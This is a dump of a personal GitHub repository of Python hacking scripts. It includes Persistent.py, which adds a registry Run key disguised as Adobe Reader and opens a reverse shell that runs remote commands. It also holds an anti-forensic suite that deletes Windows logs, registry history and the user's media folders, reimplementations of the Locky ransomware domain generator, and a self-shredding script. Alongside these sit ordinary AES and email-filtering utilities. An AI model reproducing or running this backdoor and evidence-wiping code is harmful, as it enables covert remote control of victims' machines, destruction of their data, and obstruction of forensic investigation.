├── AES_CBC ├── README.md ├── decrypt.py └── encrypt.py ├── DGA_v1.py ├── DGA_v2.py ├── Email_tld_filter.py ├── Facebook-videos-downloader ├── README.md ├── Start-Downloading.exe ├── base.root_haxor └── links.txt ├── Persistent.py ├── Py-to-php_AES.py ├── README.md ├── anti-Forensic ├── README.md ├── anti-Forensic.py ├── manual_instructions.txt └── src │ ├── Custom.py │ ├── Prefetch.py │ ├── RecycleBin.py │ ├── RunHistory.py │ ├── SearchHistory.py │ ├── Temp.py │ ├── UsbLogREG.py │ ├── UserAssist.py │ ├── __init__.py │ └── admin_priv.py ├── auto_del.py ├── checklinklive.py ├── emailext.py ├── emailx.py ├── exif_remove.py ├── geo-trace.py ├── imeinfo.py ├── proxy.py ├── py-to-php_AES.php ├── py_gmail.py ├── rename_mass.py ├── sizecheck.py ├── split.py ├── stripe_python_cli.py ├── sym.py └── target-info.py /AES_CBC/README.md: -------------------------------------------------------------------------------- 1 | #### Example code for AES_CBC mode enc/dec program 2 | 3 | This Encrypt data inside a file for example try on .txt file 4 | 5 | EX: Call the function encrypt() and decrypt() from encrypt.py/decrypt.py 6 | -------------------------------------------------------------------------------- /AES_CBC/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import base64, hashlib 3 | from Crypto import Random 4 | from Crypto.Cipher import AES 5 | BS = 16 6 | pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 7 | unpad = lambda s : s[0:-ord(s[-1])] 8 | 9 | class AESCipher: 10 | 11 | def __init__( self, key ): 12 | self.key = hashlib.sha256(key.encode('utf-8')).digest() 13 | 14 | def encrypt( self, raw ): 15 | raw = pad(raw) 16 | iv = Random.new().read( AES.block_size ) 17 | cipher = AES.new( self.key, AES.MODE_CBC, iv ) 18 | return base64.b64encode( iv + cipher.encrypt( raw ) ) 19 | 20 | def decrypt( self, enc ): 21 | enc = base64.b64decode(enc) 22 | iv = enc[:16] 23 | cipher = AES.new(self.key, AES.MODE_CBC, iv ) 24 | return unpad(cipher.decrypt( enc[16:] )) 25 | 26 | def decrypt(): 27 | filename = raw_input('Input file name: ') 28 | cipher = AESCipher('thisiscipheryoo') 29 | file = open(filename,'r') 30 | file = file.read() 31 | decrypted = cipher.decrypt(file) 32 | fil = open(filename, 'w') 33 | fil.write(decrypted) 34 | fil.close() 35 | #print encrypted -------------------------------------------------------------------------------- /AES_CBC/encrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import base64, hashlib 3 | from Crypto import Random 4 | from Crypto.Cipher import AES 5 | BS = 16 6 | pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 7 | unpad = lambda s : s[0:-ord(s[-1])] 8 | 9 | class AESCipher: 10 | 11 | def __init__( self, key ): 12 | self.key = hashlib.sha256(key.encode('utf-8')).digest() 13 | 14 | def encrypt( self, raw ): 15 | raw = pad(raw) 16 | iv = Random.new().read( AES.block_size ) 17 | cipher = AES.new( self.key, AES.MODE_CBC, iv ) 18 | return base64.b64encode( iv + cipher.encrypt( raw ) ) 19 | 20 | def decrypt( self, enc ): 21 | enc = base64.b64decode(enc) 22 | iv = enc[:16] 23 | cipher = AES.new(self.key, AES.MODE_CBC, iv ) 24 | return unpad(cipher.decrypt( enc[16:] )) 25 | 26 | def encrypt(): 27 | filename = raw_input('Input file name: ') 28 | cipher = AESCipher('thisiscipheryoo') 29 | file = open(filename,'r') 30 | file = file.read() 31 | encrypted = cipher.encrypt(file) 32 | #decrypted = cipher.decrypt(encrypted) 33 | put = open(filename,'w') 34 | put.write(encrypted) 35 | put.close() 36 | #print "\n\nDecrypted\n\n"+decrypted 37 | -------------------------------------------------------------------------------- /DGA_v1.py: -------------------------------------------------------------------------------- 1 | #Domain Generation Algorithm (DGA) 2 | #The original domain generation algorithm was based on two hard-coded seeds and the current system time of an infected machine. This DGA version generates six unique domains every two days. 3 | 4 | max_bits=32 5 | 6 | ROL4 = lambda val, r_bits: \ 7 | (val << r_bits%max_bits) & (2**max_bits-1) | \ 8 | ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) 9 | 10 | ROR4 = lambda val, r_bits: \ 11 | ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ 12 | (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) 13 | 14 | #day 1..31 15 | #month 1..12 16 | #year 1601..30827 17 | def gen(year, month, day, idx): 18 | j = 0; 19 | v21 = 0; 20 | v3 = ROR4(0xB11924E1 * (year + 7157), 5); 21 | v4 = ROR4(0xB11924E1 * (v3 + (day >> 1) + 655360001), 5); 22 | v5 = ROR4(0xB11924E1 * (v4 + month + 654943060), 5); 23 | v6 = ROL4(idx % 6, 21); 24 | v7 = ROR4(0xB11924E1 * (v5 + v6 + 655360001), 5); 25 | v23 = (v7 + 655360001)%(2**32); 26 | name_size = (v7 + 655360001) % 0xB + 5; 27 | alloc_size = (v7 + 655360001) % 0xB + 8; 28 | 29 | domain = '' 30 | 31 | for idx in range(name_size): 32 | v9 = ROL4(v23, idx); 33 | v11 = ROR4(0xB11924E1 * v9, 5); 34 | v12 = (v11 + 655360001)%2**32; 35 | v23 = v12; 36 | domain += chr(v12 % 25 + ord('a')) 37 | domain += "." 38 | 39 | v15 = ROR4((0xB11924E1 * v23)%2**32, 5); 40 | v16 = ((v15 + 655360001)%2**32) % 0xE; 41 | domain += ['ru', 'pw', 'eu', 'in', 'yt', 'pm', 'us', 'fr', 'de', 'it', 'be', 'uk', 'nl','tf'][v16] 42 | return domain 43 | urls = [] 44 | #for year in range(2016,2017): 45 | for year in range(2016,2017): 46 | for month in range(1,12): 47 | for day in range(1,31): 48 | for idx in range(6): 49 | urls += [gen(year, month, day, idx)] 50 | print urls 51 | -------------------------------------------------------------------------------- /DGA_v2.py: -------------------------------------------------------------------------------- 1 | # Locky DGA version 2 (seeded) 2 | # his version of DGA is now based on seed value hard-coded to malware binary and this seed can be changed at any time or in every sample. It also generates eight unique domains every two days. 3 | 4 | max_bits=32 5 | 6 | ROL4 = lambda val, r_bits: \ 7 | (val << r_bits%max_bits) & (2**max_bits-1) | \ 8 | ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) 9 | 10 | ROR4 = lambda val, r_bits: \ 11 | ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ 12 | (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) 13 | 14 | def gen(year, month, day, idx, seed): 15 | j = 0; 16 | v21 = 0; 17 | v3 = ROR4(0xB11924E1 * (year + 7157), 7); 18 | v3 = ROR4(0xB11924E1 * (v3 + seed + 655360001), 7); 19 | v4 = ROR4(0xB11924E1 * (v3 + (day >> 1) + 655360001), 7); 20 | v5 = ROR4(0xB11924E1 * (v4 + month + 654943060), 7); 21 | seed = ROL4(seed, 17); 22 | v6 = ROL4(idx & 7, 21); 23 | v7 = ROR4(0xB11924E1 * (v5 + v6 + seed + 655360001), 7); 24 | v23 = (v7 + 655360001)%(2**32); 25 | name_size = v23 % 0xB + 5; 26 | alloc_size = v23 % 0xB + 8; 27 | domain = '' 28 | for idx in range(name_size): 29 | v9 = ROL4(v23, idx); 30 | v11 = ROR4(0xB11924E1 * v9, 7); 31 | v12 = (v11 + 655360001)%2**32; 32 | v23 = v12; 33 | domain += chr(v12 % 25 + ord('a')); 34 | domain += "." 35 | v15 = ROR4((0xB11924E1 * v23)%2**32, 7); 36 | v16 = ((v15 + 655360001)%2**32) % 0xE; 37 | domain += ['ru','pw','eu','in','yt','pm','us','fr','de','it','be','uk','nl','tf'][v16] 38 | return domain 39 | 40 | urls = [] 41 | year = 2016 42 | month = 12 43 | day = 24 44 | seed = 7 45 | for idx in range(8): 46 | urls += [gen(year, month, day, idx, seed)]; 47 | print "%4d-%2.2d-%2.2d | Seed= %s |: %s" % (year, month, day, seed, urls); 48 | 49 | 50 | -------------------------------------------------------------------------------- /Email_tld_filter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #Email Filter multi thread. 3 | #Fully automated Script, Single Command in Terminal and woooohooooo 4 | #Copy this code, make a script.py 5 | #Then put files with emails in same directory of script.py, open cmd run the script and wait. :) 6 | #Usage:python script.py 13 ( 13 is number of threads you want to run, default is 10 ) 7 | import re, os , sys, threading, time 8 | 9 | def splitlist(seq, num): 10 | avg = len(seq) / float(num) 11 | out = [] 12 | last = 0.0 13 | 14 | while last < len(seq): 15 | out.append(seq[int(last):int(last + avg)]) 16 | last += avg 17 | return out 18 | 19 | def get_addr(email_addr): 20 | maybe = email_addr.split('@')[1] 21 | return maybe.split('.')[0] 22 | 23 | def main(emails): 24 | #Domain tld's 25 | ru = ['yandex'] 26 | au = ['bigpond'] 27 | microsoft_family=['hotmail', 'live', 'outlook', 'msn'] 28 | yahoo_family=['yahoo', 'ymail', 'yahoomail', 'btinternet', 'bt', 'rocketmail', 'sky'] 29 | google_family=['gmail', 'google', 'googlemail'] 30 | aol_family=['aol'] 31 | 32 | try: 33 | for i in emails: 34 | dmn = get_addr(str(i)) #Confused 35 | #dmn = dmn.strip('\t\n\r')#Output: gmail.com, aol.com 36 | for x in aol_family: #Send Loops =D 37 | if str(dmn) == x: 38 | file = open('result/aol_fam.txt', 'a') 39 | file.write(i) 40 | for xx in yahoo_family: 41 | if str(dmn) == xx: 42 | file = open('result/yahoo_fam.txt', 'a') 43 | file.write(i) 44 | for xxx in google_family: 45 | if str(dmn) == xxx: 46 | file = open('result/google_fam.txt', 'a') 47 | file.write(i) 48 | for xxxx in microsoft_family: 49 | if str(dmn) == xxxx: 50 | file = open('result/microsoft_fam.txt', 'a') 51 | file.write(i) 52 | for xz in au: 53 | if str(dmn) == xz: 54 | file = open('result/au_tld.txt', 'a') 55 | file.write(i) 56 | for zx in ru: 57 | if str(dmn) == zx: 58 | file = open('result/ru_tld.txt', 'a') 59 | file.write(i) 60 | if str(dmn) not in ru + au + microsoft_family + google_family + yahoo_family + aol_family: 61 | file = open('result/unknown.txt', 'a') 62 | file.write(i) 63 | except Exception as e: 64 | pass 65 | 66 | if __name__ == '__main__': 67 | global shit 68 | try: 69 | shit = int(sys.argv[1]) 70 | except IndexError: 71 | shit = 9 72 | pass 73 | start_time = time.time() 74 | if not os.path.isdir('result'): 75 | os.mkdir('result') 76 | listdir = os.getcwd() 77 | ext = ['.txt'] 78 | files = [f for f in os.listdir(listdir) if f.endswith(tuple(ext))] #Use tuple() for multiple 79 | for file in files: 80 | startx = open(file, 'r').readlines() 81 | lists = splitlist(startx, shit) # 0 - 8, seems to have no 8 82 | for i in range(0,shit): # 0 - 8 83 | t = threading.Thread(target=main, args=(lists[i],)) 84 | tp = t.start() 85 | print("Task {} assigned to thread: {}".format(i, threading.current_thread().getName())) 86 | print("\nTotal active threads : {}".format(threading.activeCount())) 87 | took = time.time() - start_time 88 | print "\nCore Execution time : ", str(took)[:4]+" Seconds","\n\nFiltering processes have been started, Listen songs for a while." 89 | startt = time.time() 90 | t.join() 91 | stopp = time.time() - startt 92 | print "\nTasks Completed, Total time: ",str(stopp)[:4],"Seconds" 93 | -------------------------------------------------------------------------------- /Facebook-videos-downloader/README.md: -------------------------------------------------------------------------------- 1 | # Instructions - Binary Files ( Packed with pyinstaller ) 2 | * Download the files, save in a folder ex: Fb-downloader 3 | * Create a Folder named `Downloads` in Fb-downloader 4 | * open links.txt file in text editor 5 | * Goto facebook right-click on video and copy url 6 | * Put url in links.txt, You can put 100+ url's at once 7 | * Double-Click on Start-Downloading.exe and wait 8 | * Videos will be downloaded in `Downloads` folder. 9 | -------------------------------------------------------------------------------- /Facebook-videos-downloader/Start-Downloading.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/roothaxor/Python/dff7d3fce42bf51544fc00c3c39afde7b61da375/Facebook-videos-downloader/Start-Downloading.exe -------------------------------------------------------------------------------- /Facebook-videos-downloader/base.root_haxor: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/roothaxor/Python/dff7d3fce42bf51544fc00c3c39afde7b61da375/Facebook-videos-downloader/base.root_haxor -------------------------------------------------------------------------------- /Facebook-videos-downloader/links.txt: -------------------------------------------------------------------------------- 1 | https://www.facebook.com/bakchodlaunda/videos/1865082613742660/ -------------------------------------------------------------------------------- /Persistent.py: -------------------------------------------------------------------------------- 1 | import sys, base64, os, socket, subprocess 2 | from _winreg import * 3 | 4 | def autorun(tempdir, fileName, run): 5 | # Copy executable to %TEMP%: 6 | os.system('copy %s %s'%(fileName, tempdir)) 7 | 8 | # Queries Windows registry for the autorun key value 9 | # Stores the key values in runkey array 10 | key = OpenKey(HKEY_LOCAL_MACHINE, run) 11 | runkey =[] 12 | try: 13 | i = 0 14 | while True: 15 | subkey = EnumValue(key, i) 16 | runkey.append(subkey[0]) 17 | i += 1 18 | except WindowsError: 19 | pass 20 | 21 | # If the autorun key "Adobe ReaderX" isn't set this will set the key: 22 | if 'Adobe ReaderX' not in runkey: 23 | try: 24 | key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS) 25 | SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe") 26 | key.Close() 27 | except WindowsError: 28 | pass 29 | 30 | #backconnect shell to attacker upper part is for persistent editing the run key of windows system 31 | #this is only client side you will need server side python server to catch this connection 32 | #cd ../ python_backdoor_client.py 33 | #also python_backdoor_server.py 34 | def shell(): 35 | #Base64 encoded reverse shell 36 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 37 | s.connect(('192.168.56.1', int(443))) 38 | s.send('[*] Connection Established!') 39 | while 1: 40 | data = s.recv(1024) 41 | if data == "quit": break 42 | proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 43 | stdout_value = proc.stdout.read() + proc.stderr.read() 44 | encoded = base64.b64encode(stdout_value) 45 | s.send(encoded) 46 | #s.send(stdout_value) 47 | s.close() 48 | 49 | def main(): 50 | tempdir = '%TEMP%' 51 | fileName = sys.argv[0] 52 | run = "Software\Microsoft\Windows\CurrentVersion\Run" 53 | autorun(tempdir, fileName, run) 54 | shell() 55 | 56 | if __name__ == "__main__": 57 | main() 58 | -------------------------------------------------------------------------------- /Py-to-php_AES.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | import base64 3 | import os 4 | # the block size for the cipher object; must be 16, 24, or 32 for AES 5 | BLOCK_SIZE = 32 6 | BLOCK_SZ = 14 7 | 8 | # the character used for padding--with a block cipher such as AES, the value 9 | # you encrypt must be a multiple of BLOCK_SIZE in length. This character is 10 | # used to ensure that your value is always a multiple of BLOCK_SIZE 11 | PADDING = '{' 12 | 13 | # one-liner to sufficiently pad the text to be encrypted 14 | pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING 15 | 16 | # one-liners to encrypt/encode and decrypt/decode a string 17 | # encrypt with AES, encode with base64 18 | EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) 19 | DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) 20 | secret = "332SECRETabc1234" 21 | iv = "HELLOWORLD123456" 22 | cipher=AES.new(key=secret,mode=AES.MODE_CBC,IV=iv) 23 | my_text_to_encode = "password" 24 | encoded = EncodeAES(cipher, my_text_to_encode) 25 | print 'Encrypted string:', encoded 26 | 27 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [](https://nodesource.com/products/nsolid) 2 | 3 | # Projects 4 | * [AES_CBC](https://github.com/roothaxor/Python/tree/master/AES_CBC) : Python AES Working example without cipher limit 5 | * [Facebook-videos-downloader](https://github.com/roothaxor/Python/tree/master/Facebook-videos-downloader) : Download multiple videos with one click 6 | * [JioFi](https://github.com/roothaxor/Jio-MiFi3) : Jio MIFI device information Command line 7 | * [anti-Forensic](https://github.com/roothaxor/Python/tree/master/anti-Forensic) : Under-Construction 8 | 9 | # Scripts 10 | 11 | 12 | | Name | Description | 13 | | ------ | ------ | 14 | | DGA_v1.py | Domain Generation Algorithm (v1) | 15 | | DGA_v2.py | Domain Generation Algorithm (v2) | 16 | | Persistent.py | Get persistence in windows system | 17 | | Py-to-php_AES.py | Ex: Py to PHP AES encrypted line | 18 | | py-to-php_AES.php | Ex: Py to PHP AES encrypted line | 19 | | auto_del.py | Code deletes itself after execution | 20 | | checklinklive.py | Check for alive shells from 100+ | 21 | | emailext.py | Extract email list from files | 22 | | exif_remove.py | Remove Exif data from JPG, PNG files | 23 | | geo-trace.py | Trace IP address using Maxmind database | 24 | | imeinfo.py | Info for Apple Imie's | 25 | | proxy.py | Get list of alive proxies | 26 | | py_gmail.py | Gmail with python | 27 | | rename_mass.py | Remove string from many file names at once | 28 | | sizecheck.py | Check size of site using URL | 29 | | split.py | Split big files into small one | 30 | | sym.py | Symlink exploit 2016 Servers | 31 | | target-info.py | Get some info on target system | 32 | 33 | **For Free, Hell Yeah!** 34 | -------------------------------------------------------------------------------- /anti-Forensic/README.md: -------------------------------------------------------------------------------- 1 | #anti-Forensic 2 | * Under development, all scripts are based on Real-time research 3 | -------------------------------------------------------------------------------- /anti-Forensic/anti-Forensic.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os, sys, time 3 | from src import admin_priv, Custom, RunHistory, SearchHistory, UsbLogREG, RecycleBin, Temp, UserAssist, Prefetch 4 | __author__ = '@root_haxor' 5 | __description__ = 'Personal Use Code for performing Anti-forensic actions' 6 | if not admin_priv.isUserAdmin(): 7 | admin.priv.runAsAdmin() 8 | if __name__ == "__main__": 9 | Custom.clean() 10 | RunHistory.clean() 11 | SearchHistory.clean() 12 | UsbLogREG.clean() 13 | RecycleBin.clean() 14 | Temp.clean() 15 | UserAssist.clean() 16 | Prefetch.clean() 17 | print "\n\n\nanti-Forensic tool prototype by %s" % __author__ -------------------------------------------------------------------------------- /anti-Forensic/manual_instructions.txt: -------------------------------------------------------------------------------- 1 | Disable last access logs ( ADMIN Priv's ) - digital timeline anti-forensic 2 | Command : fsutil behavior set disablelastaccess 1 -------------------------------------------------------------------------------- /anti-Forensic/src/Custom.py: -------------------------------------------------------------------------------- 1 | import os, sys, time 2 | def clean(): 3 | print "\n[+] Custom Clean Sequence Start [+]" 4 | #Remove Pentest-Box User Commands history 5 | print "\nDeleting PentestBox Command History" 6 | os.system('del /Q /S "E:\PentestBox\config\.history" > nul') 7 | #remove IDM-Download manager Downloaded history ( Exit program before run, Admin priv's ) 8 | print "Clearing IDM-Download Manager Mess...." 9 | print "Killing the IDMan.exe Proccess" 10 | os.system('taskkill /F /IM IDMan.exe') 11 | time.sleep(7) 12 | print "Removing Registry Key DownloadManager" 13 | os.system('reg delete HKEY_CURRENT_USER\Software\DownloadManager /f') 14 | #InternetExplorer Data 15 | print "Removing Registry Key Internet Explorer" 16 | os.system('reg delete "HKCU\Software\Microsoft\Internet Explorer" /va /f') 17 | print "\n[+] Custom Clean Sequence Stop [+]\n" -------------------------------------------------------------------------------- /anti-Forensic/src/Prefetch.py: -------------------------------------------------------------------------------- 1 | import os, sys, time 2 | def clean(): 3 | print "\n[+] C:/Windows/Prefetch Clean Sequence Start [+]" 4 | #Remove Prefetch, Database file 5 | #Can be disabled via 6 | #HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters 7 | print "\nDeleting Database (*.db) Files" 8 | os.chdir('C:/Windows/Prefetch') 9 | os.system('del *.db') 10 | time.sleep(2) 11 | print "Deleting Prefetch (*.pf) Files" 12 | os.system('del *.pf') 13 | print "\n[+] C:/Windows/Prefetch Clean Sequence Stop [+]\n" -------------------------------------------------------------------------------- /anti-Forensic/src/RecycleBin.py: -------------------------------------------------------------------------------- 1 | import os, sys 2 | def clean(): 3 | print "\n[+] C:/$RECYCLE.BIN Clean Sequence Start [+]" 4 | #Remove hidden RECYCLE.BIN 5 | print "\nRemoving Directory C:/$RECYCLE.BIN" 6 | os.system('rmdir /Q /S "C:\$RECYCLE.BIN" > nul') 7 | print "\n[+] C:/$RECYCLE.BIN Clean Sequence Stop [+]" -------------------------------------------------------------------------------- /anti-Forensic/src/RunHistory.py: -------------------------------------------------------------------------------- 1 | import os, sys 2 | def clean(): 3 | #delete run history ( /va switch delete all values inside it, /f switch force ) 4 | print "\n[+] Run History Clean Sequence Start [+]" 5 | print "\nRemoving Registry Key RunMRU" 6 | os.system('reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f') 7 | print "\n[+] Run History Clean Sequence Stop [+]\n" -------------------------------------------------------------------------------- /anti-Forensic/src/SearchHistory.py: -------------------------------------------------------------------------------- 1 | import os, sys 2 | def clean(): 3 | #Stop Seach History from Services, delete search history files contains vast information 4 | # /Q swtich for quiet mode, /S switch for delete files from all subdirectories with attribute SYSTEM files 5 | print "\n[+] Search History Clean Sequence Start [+]" 6 | print "\nDeleting Search History Data" 7 | os.system('del /Q /S "%programdata%\Microsoft\Search\Data\Applications\Windows\*.*" > nul') 8 | print "\n[+] Search History Clean Sequence Stop [+]\n" -------------------------------------------------------------------------------- /anti-Forensic/src/Temp.py: -------------------------------------------------------------------------------- 1 | import os, sys 2 | def clean(): 3 | #REM Clean Temp Folders 4 | print "\n[+] Temp Files/Folder Clean Sequence Start [+]" 5 | print "\nDeleting \AppData\Local\Temp" 6 | os.system('rmdir /Q /S "C:\Users\%username%\AppData\Local\Temp" > nul') 7 | os.system('mkdir "C:\Users\%username%\AppData\Local\Temp" > nul') 8 | print "Deleting \AppData\LocalLow\Temp" 9 | os.system('rmdir /Q /S "C:\Users\%username%\AppData\LocalLow\Temp" > nul') 10 | os.system('mkdir "C:\Users\%username%\AppData\LocalLow\Temp" > nul') 11 | print "Deleting C:\Users\All Users\Temp" 12 | os.system('rmdir /Q /S "C:\Users\All Users\Temp" > nul') 13 | os.system('mkdir "C:\Users\All Users\Temp" > nul') 14 | print "Deleting C:\Program Files (x86)\Temp" 15 | os.system('rmdir /Q /S "C:\Program Files (x86)\Temp" > nul') 16 | os.system('mkdir "C:\Program Files (x86)\Temp" > nul') 17 | print "Deleting Contacts" 18 | os.system('del /Q /S "C:\Users\%username%\Contacts\*.*" > nul') 19 | #del /Q /S "C:\Users\%username%\Downloads\*.*" > nul') Do not mess untill you know 20 | print "Deleting Music" 21 | os.system('del /Q /S "C:\Users\%username%\Music\*.*" > nul') 22 | print "Deleting Pictures" 23 | os.system('del /Q /S "C:\Users\%username%\Pictures\*.*" > nul') 24 | print "Deleting Videos" 25 | os.system('del /Q /S "C:\Users\%username%\Videos\*.*" > nul') 26 | print "Deleting C:\Users\Public" 27 | os.system('del /Q /S "C:\Users\Public\*.*" > nul') 28 | print "[+] Temp Files/Folder Clean Sequence Stop [+]\n" -------------------------------------------------------------------------------- /anti-Forensic/src/UsbLogREG.py: -------------------------------------------------------------------------------- 1 | import os, sys 2 | def clean(): 3 | print "\n[+] USBLOG History Clean Sequence Start [+]" 4 | #Remove USB logs in regservice 5 | print "\nRemoving Registry Key USBSTOR" 6 | os.system('reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR /va /f') 7 | print "\n[+] USBLOG History Clean Sequence Stop [+]\n" -------------------------------------------------------------------------------- /anti-Forensic/src/UserAssist.py: -------------------------------------------------------------------------------- 1 | import os, sys 2 | __info__ = ''' 3 | There is a registry setting that keeps logs and dates of all launch programs, forensic experts can use this to build 4 | a digital timeline, we must disable this for computer security. Navigate to 5 | HKEY_Current_User/Software/Microsoft/Windows/Currentversion/ExplorerUser assist. 6 | Do this by hitting the Windows button on your keyboard and R at the same time and typing regedit in). 7 | You should see two subkeys called Count, delete both these keys. Now right-click the UserAssist key 8 | and create a new key named Settings. In this key (right clicking on it) create DWORD value named NoLog, 9 | set the value to 1 10 | ''' 11 | def clean(): 12 | print "\n[+] UserAssist Clean Sequence Start [+]" 13 | print "\nTimeline anti-forensic Removing Registry Key UserAssist" 14 | #Delete UserAssist - Digital timeline anti-forensic 15 | os.system('reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist /f') 16 | print "\n[+] UserAssist Clean Sequence Stop [+]\n" -------------------------------------------------------------------------------- /anti-Forensic/src/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /anti-Forensic/src/admin_priv.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8; mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*- 3 | import sys, os, traceback, types 4 | 5 | def isUserAdmin(): 6 | 7 | if os.name == 'nt': 8 | import ctypes 9 | # WARNING: requires Windows XP SP2 or higher! 10 | try: 11 | return ctypes.windll.shell32.IsUserAnAdmin() 12 | except: 13 | traceback.print_exc() 14 | print "Admin check failed, assuming not an admin." 15 | return False 16 | elif os.name == 'posix': 17 | # Check for root on Posix 18 | return os.getuid() == 0 19 | else: 20 | raise RuntimeError, "Unsupported operating system for this module: %s" % (os.name,) 21 | 22 | def runAsAdmin(cmdLine=None, wait=True): 23 | 24 | if os.name != 'nt': 25 | raise RuntimeError, "This function is only implemented on Windows." 26 | 27 | import win32api, win32con, win32event, win32process 28 | from win32com.shell.shell import ShellExecuteEx 29 | from win32com.shell import shellcon 30 | 31 | python_exe = sys.executable 32 | 33 | if cmdLine is None: 34 | cmdLine = [python_exe] + sys.argv 35 | elif type(cmdLine) not in (types.TupleType,types.ListType): 36 | raise ValueError, "cmdLine is not a sequence." 37 | cmd = '"%s"' % (cmdLine[0],) 38 | # XXX TODO: isn't there a function or something we can call to massage command line params? 39 | params = " ".join(['"%s"' % (x,) for x in cmdLine[1:]]) 40 | cmdDir = '' 41 | showCmd = win32con.SW_SHOWNORMAL 42 | #showCmd = win32con.SW_HIDE 43 | lpVerb = 'runas' # causes UAC elevation prompt. 44 | 45 | # print "Running", cmd, params 46 | 47 | # ShellExecute() doesn't seem to allow us to fetch the PID or handle 48 | # of the process, so we can't get anything useful from it. Therefore 49 | # the more complex ShellExecuteEx() must be used. 50 | 51 | # procHandle = win32api.ShellExecute(0, lpVerb, cmd, params, cmdDir, showCmd) 52 | 53 | procInfo = ShellExecuteEx(nShow=showCmd, 54 | fMask=shellcon.SEE_MASK_NOCLOSEPROCESS, 55 | lpVerb=lpVerb, 56 | lpFile=cmd, 57 | lpParameters=params) 58 | 59 | if wait: 60 | procHandle = procInfo['hProcess'] 61 | obj = win32event.WaitForSingleObject(procHandle, win32event.INFINITE) 62 | rc = win32process.GetExitCodeProcess(procHandle) 63 | #print "Process handle %s returned code %s" % (procHandle, rc) 64 | else: 65 | rc = None 66 | 67 | return rc 68 | 69 | def test(): 70 | rc = 0 71 | if not isUserAdmin(): 72 | print "You're not an admin.", os.getpid(), "params: ", sys.argv 73 | #rc = runAsAdmin(["c:\\Windows\\notepad.exe"]) 74 | rc = runAsAdmin() 75 | else: 76 | print "You are an admin!", os.getpid(), "params: ", sys.argv 77 | rc = 0 78 | x = raw_input('Press Enter to exit.') 79 | return rc 80 | 81 | 82 | if __name__ == "__main__": 83 | sys.exit(test()) -------------------------------------------------------------------------------- /auto_del.py: -------------------------------------------------------------------------------- 1 | #this is simple code which deletes itself after execution 2 | #explanation: the self_path has __file__ which contains all the file functions 3 | #can come handy in certain ways 4 | import subprocess as sp 5 | from os import path 6 | 7 | # This gives us the absolute(full) path to this python script 8 | self_path = path.abspath(__file__) 9 | 10 | # Do stuff -- I just created a folder 11 | sp.call(["mkdir", "/home/User/hp/Desktop/thinair"]) 12 | 13 | # At the end of the script, the file shreds itself 14 | sp.call(["/usr/bin/shred", "-fuz" , self_path]) 15 | 16 | -------------------------------------------------------------------------------- /checklinklive.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | import time 3 | from urllib2 import urlopen 4 | file = open('abc.txt') 5 | line = file.read() 6 | words = line.split() 7 | word = words 8 | 9 | for url in word: 10 | print 'Checking URL {0}'.format(url) 11 | start = time.clock() 12 | try: 13 | response = urlopen(url) 14 | print response.getcode() 15 | except StandardError as e: 16 | print 'Checker: {0}'.format(e) 17 | 18 | print 'took {0}s\n'.format(time.clock() - start) -------------------------------------------------------------------------------- /emailext.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from optparse import OptionParser 4 | import os.path 5 | import re 6 | 7 | regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+\/=?^_`" 8 | "{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(\.|" 9 | "\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)")) 10 | 11 | def file_to_str(filename): 12 | """Returns the contents of filename as a string.""" 13 | with open(filename) as f: 14 | return f.read().lower() # Case is lowered to prevent regex mismatches. 15 | 16 | def get_emails(s): 17 | """Returns an iterator of matched emails found in string s.""" 18 | # Removing lines that start with '//' because the regular expression 19 | # mistakenly matches patterns like 'http://foo@bar.com' as '//foo@bar.com'. 20 | return (email[0] for email in re.findall(regex, s) if not email[0].startswith('//')) 21 | 22 | if __name__ == '__main__': 23 | parser = OptionParser(usage="Usage: python %prog [FILE]...") 24 | # No options added yet. Add them here if you ever need them. 25 | options, args = parser.parse_args() 26 | 27 | if not args: 28 | parser.print_usage() 29 | exit(1) 30 | 31 | for arg in args: 32 | if os.path.isfile(arg): 33 | for email in get_emails(file_to_str(arg)): 34 | print email 35 | else: 36 | print '"{}" is not a file.'.format(arg) 37 | parser.print_usage() 38 | -------------------------------------------------------------------------------- /emailx.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #updated on 28/dec/2k17 